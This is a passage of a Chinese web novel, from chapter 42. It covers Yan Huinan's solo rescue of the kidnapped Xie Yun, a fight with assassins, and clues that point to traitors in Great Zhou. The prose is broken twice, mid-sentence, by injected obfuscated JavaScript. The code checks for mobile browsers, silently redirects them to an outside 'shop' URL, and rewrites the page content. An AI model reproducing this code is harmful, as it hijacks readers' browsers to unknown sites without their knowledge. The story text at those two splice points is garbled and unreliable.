他这样的人,除了仇恨就无牵无挂了,他天不怕地不怕。没人敢跟这样一个随时都有可能爆发的“疯子”对着干。 可众人在惧怕他的同时,心底里其实也是鄙夷可怜他的。 因为他一无所有,才无所畏惧,才所向披靡。 他口中的仇恨,在旁人的眼中也成了可怜的借口,他不过是要为自己的所作所为、为自己的苟活找一个理由罢了。 而他此刻为什么如此在意谢韵,落在这群对晏回南又怕,又不得不倚仗他的人眼中,也只是因为他一无所有,只有一个谢韵了。他当然要拼命地抓住这唯一的稻草。 宴厅内,包括大周的朝堂之上,根本找不出几个真心待他之人。 可纵使人人都瞧不起他,都嘲讽他,可怜他。晏回南还是依靠着自己的力量活了下来,并且走到了今天这个可以任由他肆意妄为的地位。 这是他的实力,是他应得的。 所以此时此刻,他可以为了自己想要救的人,为所欲为。无人敢忤逆他。就连宋鸿煊也没权力。 这就是晏回南的半生。 在宋鸿煊脸涨成了猪肝色,晏回南不想与他多纠缠,才一把甩开他。宋鸿煊顿时脱力倒在了地上,大口地咳嗽喘息着。 “晏回南!” 宋鸿煊只能眼见着晏回南决绝地转身离开。 刚一出大殿,张恪已经迅速召集好了人马,司文也知晓了事情,去而复返等候在宴厅外,他飞身上马吩咐道:“司文张恪,你们二人分别带两队人侦查这个地方,不要打草惊蛇。若是出了什么问题,所有人格杀勿论。” 刚刚同在宴厅内的喻霰知道此时此刻无人能阻止晏回南,但还是忧心忡忡地追出来问,“子游,你有几分把握?” “十分。” 满分的把握。 “怎么可能有十分?!”喻霰震惊,这样的事情,只要被对方发现,对方都有可能杀了谢韵,“你做了什么?” “没有。”晏回南坦诚,如此仓促的事情,如何能做准备,他连谢韵具体的位置在哪都不知道。 “那你哪来的十分?”喻霰此时此刻也想阻止他,但晏回南已经无所顾忌地策马向城外冲去。 只余一阵马蹄声。 为什么? 他不会是…… 真他娘的去送死的吧?什么事能有十分把握? 他有把握个屁!不过是真的想拿自己的命去换谢韵的命罢了! 如果司文带的人被发现,晏回南可能真的会用自己的命换谢韵的! 是十分救出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022408|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢韵的把握。但是他没把自己算进去! 这个疯子! 一向冷静自持、沉默寡言的喻霰难得的对着旁边的花坛狠踹了一脚,冲着晏回南消失的方向破口大骂:“晏回南你真是个疯子!” - 谢韵是被人从睡梦中惊醒,之后有人将她劫持的。 夏日的林间满是潮湿水汽和杂乱的鸟鸣与虫鸣,谢韵醒来时眼睛被蒙上了,眼前一片漆黑,嘴巴也被堵上了。手脚都被粗粝的麻绳绑了起来,靠在一块还算平整的,应该是墙上。掌心触碰到一块明显被水泡烂了的木板。 通过周围的环境,谢韵判断自己应该是被劫持到了密林中。 醒来之后便能听见有人在说话,还有烤肉的香气。 在一众的鸟鸣当中,谢韵分辨出斑鸠的叫声,这种鸟儿在早晨的叫声会比较响亮。此刻应当是早晨了,在附近并没有听到马鸣,而且是在山中。 那么她此刻距离奉高应该不会太远,有可能就在泰山。 这群人绑架她的目的是什么?是楼承的人吗?因为上一次没能顺利将她带走,所以这次改变了策略,该用硬手段了? 可是这些人是如何突破晏回南在行宫内的设防,将她带走的? 谢韵刚醒过来,但她仍旧保持着原本的姿势没动。没让人发现她已经醒了。她听见有人在说话。 “主子怎么会想到让我们把她抓了,她有用吗?晏回南是多谨慎的人,怎么会真的一个人过来?” “他不过来就杀了她。一条命而已。顺手的事。” 突然“砰”的一声,是什么重物砸在人身体上的闷响,紧接着有人说话,“闭嘴。” 这个说话的人跟前面两个不是同一个人,前面两个人的声音像是那种健壮的大汉的声音,又粗又沉。 但现在这个明显年轻不少,似乎是个年纪不大的少年。通过正常的判断,此人应当是卢寂寒那个年龄的人。 晏回南?这群人的目标是晏回南? 难道他们是父亲的人?可是……她在父亲眼里早成为一个弃子了。 既然已经明确应该是听不到什么确切的信息了,谢韵挣扎了几下,“唔唔唔”让他们知道自己醒了。 那群人发现谢韵醒了,一开始并没有搭理她。 但她一直用“唔唔唔”的声音,让他们知道她有话要说。 这才有人去把堵住她嘴的布拿出来。 “你们是什么人?为什么抓我?” “稍安勿躁,你是个诱饵而已。”是之前说话的大汉其中之一。 谢韵轻嗤一声,装之前没听到:“诱饵?我能引诱到谁?” 可之前的少年却开口,“不用装。你已经听到了。” 少年的声音冷若寒霜,谢韵的心一沉。竟然被他察觉了,那么这说明他之前,应该是一直盯着她,观察着她的一举一动。 既然如此,谢韵也不再装了,她知道自己骗不过这个少年,他很聪明,她试图引他多说点话,因为她刚刚忽然觉得这个声音有些耳熟。 总觉得之前在哪听过。 “那要让你们失望了,晏回南不会来的。” 少年冷哼一声,他站起来走几步出去观察了一会儿,回来之后便说:“他来了。” 什么?! 42. 同生死(2) 少年的声音冷静低沉,对着另外两个人说:“带她出去。” 这个声音越听越熟悉,似乎对方也有在努力减少说话的次数。好像生怕被谢韵听出来一样。 谢韵被他们带着艰难地走了一段崎岖坎坷的路,因为无法视物,好几次她都差点被露出地面盘根错节的老树根跘倒。有一次,她就要被跘倒时,少年伸手拉了她一把。也就是在那短暂的接触时间里,谢韵在少年的身上闻到了一股微苦的草药味。 这是常年接触各类草药才会浸染上的味道。很明显,这个少年简直像是被泡在药罐子里长大的一样。谢韵已经因为许久不处理草药,身上的气味已经被脂粉味代替。 夏末正是林中树木生长茂盛的时刻,谢韵身上也被树枝划了不少伤口,疼痛难忍。 他们走了不远便抵达了山麓,应当是为了观察晏回南是否抵达,所以他们选择隐蔽的地方距离山麓并不远,而且一定是个视野开阔,但旁人难以发现他们的地方。 晏回南独自一人,长身玉立于清晨的风中,晨曦、群青簇拥着他。 “主子果然没猜错,这女人在你心中的地位真是不一般,居然能让你不顾自己的生命安危来救她。”这声音来自其中一位壮汉。 晏回南看见的是眼睛被黑布蒙上、嘴被堵起来,衣衫残破还浑身是血的谢韵,脆弱地仿佛一阵风便能将她摧残。 他简直心如刀割,恨不能把这几个刺客千刀万剐。声音里满是不耐和克制隐忍的怒火,“少废话,放她走。我可以任由你们处置。” 这一道声音出来时,谢韵心口忽然一滞。复杂的情绪顿时涌上心头,她不知所措、气自己的不争气、又担心晏回南,她不愿意自己再欠晏回南什么。更重要的一点是,谢韵发现,她不愿眼见着晏回南受伤的。 她想都不敢想晏回南在自己眼前倒下的模样。 可是她的嘴被布条堵住了,根本说不出话来。只能拼命挣扎着,发出“唔唔唔”的声音。 她想让晏回南别管她,快走! 可是她一个字都说不出来,这种彻底的无力感、急迫感逼出了她的眼泪。 不要! “丢下你所有的武器,走过来。”那名少年开口对着晏回南说。可是这一句话却惹得他另外两个同伴诧异不解。 但少年并未理会。而是目光灼灼地看向晏回南。他与他们的目的并不相同。 他的目的是,要活的。 然而晏回南背在身后的一只手悄无声息地对着身后比了个手势: 【左右包抄】 之后晏回南步履缓缓地朝着谢韵走过去,谢韵并不知道他正在往自己这边走过来。她的世界此时此刻只剩下一片恐怖未知的黑暗。 突然,她感觉自己被人猛地往外推了一下。 这一推,谢韵整个人失去了平衡,下一瞬,她重重地摔出去。因为她的手也被捆住了,所以她连伸出手来撑地自保都做不到。 但她忽然被一个异常温暖的怀抱稳稳地接住了。 晏回南几乎是把谢韵瘦弱的身躯印刻进了他的身体里,接住谢韵仿佛接住了他的半生。 可是她太轻了,正如晏回南的半生,拥有一切最后一点一点地失去,直到最终只剩下一具空壳。 晏回南抬手拿开了堵住谢韵嘴的布,又扯开了蒙住谢韵眼睛的黑布,露出一双湿润泛红的双眼。又为她解开了绑住手的麻绳。 他许久都没有见过这样为他而柔软的谢韵了。那一刻,他轻柔而满足地笑了一下,那一下仿若天山多年的坚冰融化,山脉开出了绚烂的桃花。 他一直悬着的心也终于落地。至于他自己能否脱险,他已经没那么在乎了。 没等谢韵说话,晏回南便低头在她的额头印下一个温柔的吻,很快又离开,并将谢韵推到自己的身后,“跑!” - 与此同时,司文和张恪所带的两队人马终于在密林中发现了埋伏着的刺客。 果然,如果这群人是冲着晏回南来的,便不可能仅仅只有十五个刺客,剩下三个无论如何都不会是晏回南的对手。 一定另有埋伏。 司文所率领的那一对人马,常年探查敌情,十分善于隐匿自己的身形。从他看见晏回南的手势之后,便大致确定了这群人埋伏的地点。 他们不可能分散在各处,所以在晏回南见到谢韵的那一刻,便已经能够大致确定埋伏的范围了。 他与张恪分别带领两队人马,奋力跑了半个山头,绕路到了敌人后方。此时每一个人的肺部都像是被烈焰炙烤,被烈酒灼烧一般,要炸开了。喉头满是腥甜,才总算在晏回南彻底被制服之前赶到了! 司文一声令下,两队人马蜂拥而出,瞬间如潮水一般包围住了扔在埋伏的刺客。 不远处暴起的打斗声,惊起群鸟轰然飞出,叽叽喳喳乱作一团。 而晏回南这边的三名刺客显然也发现了,三人都极为惊讶。只是那两名壮汉的惊讶中带了疑惑,他们不解且愤怒地回头看了眼身后的少年。 因为他们原定的计划是,只要晏回南一现身,他们后方的埋伏便会倾巢而出,瞬间绞杀晏回南! 但刚刚不仅毫无动静,现在竟然被一锅端了。 而这群人是主人身边的这位新宠带来的。 主人的命令是绞杀晏回南,可刚刚的计划全然被打乱了。 当这名少年把谢韵推出去,准备活捉晏回南时,计划就改变了。 可是这少年是主人的新宠,他们不敢轻易违逆。而且这少年所带的这群亡命之徒,仅靠他们两人不敢轻易挑战。 晏回南以迅雷不及掩耳之势一脚踢起一地灰尘,横扫过去,遮挡住了三人的视线。三人闭眼睁眼的瞬间,晏回南已经从腰带内抽出一柄小巧的利刃,如同鬼魅一般来到了他们的眼前。 他抬手狠狠一划,便轻松割伤其中一人的双目,那人当场便痛苦地倒地,面目狰狞。血液顺着眼窝往下流淌。 晏回南反用那人掉落在地上的刀,一刀刺穿那人的心脏,将他快速解决了。 少年的身形要敏捷许多,他迅速退后,抬手朝晏回南扔出一个暗器。 晏回南正被另一个人纠缠住不得脱身,但他灵活地一侧身,并且在侧身的一瞬间,扼住大汉的喉咙,将他拉到自己的身前,锐利暗器正中大汉的眉心。 晏回南将笨重的尸体一脚踹开,追赶伺机逃跑的少年。 若要论战斗力,刚刚的两个大汉明显在现在这个少年之上。但这少年要更机敏,且身形敏捷,练得一身好轻功,在逃跑的路上还能不断地朝晏回南投掷暗器干扰他。 在追到关谢韵的小屋之后,那名少年不见了踪迹。 等了片刻,谢韵在张恪的帮助下也赶到了这间木屋。 屋里尸横遍野,是刚刚司文和张恪所率军队杀光的刺客。 “将军,这是全部埋伏在此地的刺客了。”司文禀报。 除了那个少年,其余人等全军覆没。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13077191|132694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢韵冲上来,惊魂未定地拉住晏回南的手关切地问:“你怎么样?” 她真的担心晏回南刚刚出什么意外,毕竟是人命关天的事。 可晏回南却微微一怔,然后出人意料地,冷淡地抽出了手,“无碍。” 说完便去检查尸体了,张恪猜测:“这些伏兵应该是梁军。” 晏回南也认同了这个猜测,他们的装束和相貌,都符合梁军的特征。 但刚刚劫持谢韵的几人,却不像。反而更像大周人。 晏回南让人把另外两具尸体也搬过来。两人被并排列在一起。 晏回南仔细检查了两人的身上,想看看有没有什么特征。却并没发现什么异常。 他只好让人捏住尸体的嘴,打开后,居然在舌头上发现了一处奇特的黑色图样。 那图样吸引到了谢韵的目光,她猛得冲上前去,仔仔细细地又看了眼那图样。 没错的!她不会记错的! 就是当晚她和河清长公主殿下遭遇到的那帮暗卫身上特有的标志! 谢韵:“他们不是梁军,是大周人。我很确定,他们的口音就是地地道道的大周官话。而且他们说的主子,应当是极为熟悉你我之人。” 能够稳稳地判定出,晏回南一定会为了救谢韵而来的人,若不是楼承,就一定是能够时常接触到晏回南和谢韵的人。只有这样的人,才能透过他二人那般剑拔弩张的状态,判断出……今天这个事实。 “可这梁军如何解释?”张恪疑惑。 晏回南:“还能如何解释,大周有人再次和大梁人勾结。” 他说这话时满脸轻蔑。当年与大梁勾结之人,如今已经彻底叛逃到了大梁,甚至坐上了宰相之位。 晏回南:“看来如今是有人想有样学样,为自己谋个好前程吧。今后我抓到一个杀一个。” 他生平最痛恨之人,就是背叛者。这样的人杀了,淌出来的血,他都嫌脏! 谢韵心底也不禁犯怵。但眼下有更要紧的事情,她不得不去怀疑,当年长公主救下她之后,究竟有没有出事。 待司文和张恪指挥人出去之后,晏回南见谢韵仍旧一副沉浸在见到那副图样之后的震惊模样当中。 他顿住脚步,冷漠回首,“不走?” 但谢韵没有回答他这个问题,她踟蹰许久,最后还是决定要问清楚:“晏回南,当年晏侯爷是如何平反的?” 提到当年的事就仿佛是处罚了晏回南的某个开关,他的脸色顿时变得难看,还带着点疑惑。疑惑的是她居然还敢提当年之事。 可晏回南耐着性子回答了,“没有平反。” “怎么会?那……” “是因为当时只有我,能救大周。”晏回南逼近谢韵,话语里带着难以抑制的怒气与不甘。他的父亲,至今都未能真正得到平反。 在很多人的心中,他的父亲仍旧是逆贼。而晏回南不过是出于愧疚,才为国出征。 “可是……当年长公主没有给你什么东西吗?丙申年十一月……” “够了。”晏回南恶狠狠地打断她,不知为何,谢韵感觉他在听到丙申年十一月这个时间时,较刚刚更为愤怒。还有一丝隐隐的,压抑着的痛苦。 他对这个时间极为敏感与排斥,对,他甚至到了排斥这个字眼的地步。 看晏回南这个反应,好像当年的事情,并不是那么简单。 长公主当年,在救了她之后究竟发生了什么事?